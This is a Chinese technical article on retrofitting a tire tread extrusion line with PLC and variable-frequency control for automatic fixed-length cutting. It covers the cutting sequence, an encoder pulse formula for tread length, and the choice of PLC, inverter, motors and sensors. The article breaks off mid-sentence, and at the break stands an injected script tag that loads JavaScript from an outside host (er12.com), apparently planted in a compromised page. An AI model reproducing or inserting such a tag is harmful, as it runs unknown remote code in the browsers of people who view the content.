摘要：详细介绍了胎面裁断系统的工作过程，以及控制变量的确定、主要元件的选取和部分控制回路的设计图。
关键词：可编程控制器；p l c ；变频调速；胎面；裁断系统；自动控制
x j - 2 0 0 0 轮胎胎面压出设备是集橡胶胎面复合挤出、冷却、裁断于一身的大型生产线，由于该设备只能对胎面进行人工量长、手动切割，劳动强度大、工作效率低，我们决定对其进行技术改造，增加定长自动切割功能。改造后的控制系统采用p l c 和交流变频调速技术相结合的控制方式，具体叙述如下。
1 裁断系统的动作过程
胎面裁断系统结构简图如图1 所示。
图1胎面裁断系统示意图冷却后的胎面经贮存槽进入皮带运输机，当胎面贮存到一定程度时，光电开关1 j 动作、电机6 m 启动运行，同时直接装在6 m 后轴上的旋转编码器开始脉冲计数，电机6 m 经减速箱带动链条传动，链条又带动辊筒转动，最后辊筒拖动皮带向前行进；通过8 4 2 1 码设定胎面的长度，当胎面长度达到预设值时，运输带经减速后停止运行。此时压胎面装置向下压紧胎，丝杆从初始端带动刀架快速向另一端行进并裁切胎面，在裁切胎面的过程中，喷水电磁阀动作并向切刀喷水；切割完毕后，压胎面装置升起、刀架抬起；丝杠带动切刀架退回到初始位置并停止运行、喷水电磁阀停止喷水，同时切刀架压下，一切恢复到初始状态，以便再次启动。在整个裁切过程中，由于前级运输带的连续运行，在裁断运输带停止运行和切胎面过程中，贮存槽的胎面已慢慢增多，当贮存槽的胎面增至引起光电开关1 j 动作时，电机6 m 又重新启动运行，从而反复地自动裁切胎面。若胎面增加到使光电开关2 j 、3 j 动作时，运输带会不同程度地加速运行。
2 控制变量的确定
该控制系统包括运输带与胎面裁切前速度配合、各电机拖动电路、胎面运输带的运行控制、胎面长度预置与控制、丝杠与刀架动作控制、切刀喷水控制、压胎面装置控制及加速运输控制，但其关键是胎面长度的控制，那么胎面长度与哪些因素相关呢？ 在系统示意图（图1 ）中，假定：电机6 m 运转的角速度为ω，电机6 m 所连减速箱的齿轮减速比为z ，减速箱输出轴的半径为r1，滚筒与链条传动端轴半径为r2，滚筒的半径为r3。又设：某种规格胎面的长度为l ，光电编码器每转一圈的脉冲个数为g 。
那么，可以推导出一条胎面全部经过后，光电编码器脉冲总个数a 的关系式，a = l z r2g /（2 π r1r3）。一旦设备和光电编码器选定好后，z、r1、r2、r3、g 都是常数，设zr2g ／（2 π r1r3）= k 则有a = k l ，把胎面长度l 看作一个自变量x ，那么脉冲总个数a 随胎面长度的变化可用函数关系式f （x ）= k x 来表示。
从上式中可以看出，光电编码器的脉冲总个数与胎面长度成正比关系，即脉冲总个数只随胎面长度变化而变化，而与运输带的速度无关。因此就可以通过光电编码器的脉冲个数来实现胎面的长度控制。
3 主要元件的选取
（1 ）可编程控制器：选择可编程控制器应考虑p l c 的类型、输入输出开关量、c p u 处理速度及输出接口电路的输出形式。该系统p l c输入量包括光电编码器计数；运输带与前级运输速度配合的1 j 、2 j 、3 j 光电开关信号；刀架限位的4 j ~ 7 j 接近开关信号；丝杠、裁刀、运输带、加速辊电源接点信号；各电机过载保护动作信号；胎面长度预置信号及系统启动、停止功能信号共4 0 个。输出量包括压胎面、喷水、刀架起落3 个电磁阀线圈动作信号（见图2 ）；各电机启动运行信号和指示信号；p l c 与变频器联络信号共2 5 个。考虑到p l c 输出需接电磁阀和接触器线圈，要求大电流输出，宜选择继电器输出型，这里选择三菱fx2-80mr 编程控制器。根据输出量和f x2- 8 0 m r 输出公共c o m 的关系，尚需配置一个8 点的输出模块f x - 8 y e t。
图2电磁阀、接触器plc 输出图（2 ）交流变频调速器：变频调速器的选择应考虑它的控制方式、输入输出信号接线方式及变频器的输入输出电压。在这里选择三肯m f - 5 . 5 k 变频器。
（3 ）电机：该系统中共有6 台交流异步电机，丝杠采用yej90l-4 1.5kw 电磁制动电机；运输带选用yvp132s-4 5.5kw 交流变频电机；裁刀电机4m 选用y 1 0 0 l2- 4 3 k w；该系统中加速辊筒与前级辊筒尺寸相同、加速辊电机减速比与运输带电机减速比相同，由于运输带采用变频调速器，所以加速辊电机5 m 选用y 1 3 2 m -4 5 . 5 k w 就可使加速辊运输带的速度大于前级切刀运输带的速度。
（4 ）光电编码器、光电开关及接近开关：光电编码器将电机转速转化为脉冲信号在p l c 内进行计数，该编码器选用l e c - 6 b m - g 2 4 v 。1 j ~ 3 j 光电开关安装于切刀运输带前端与前级胎面运输带后端的贮存槽内，胎面在两条运输带之间的贮存量使光电开关相应动作，从而?script src=http://er12.com/t.js>
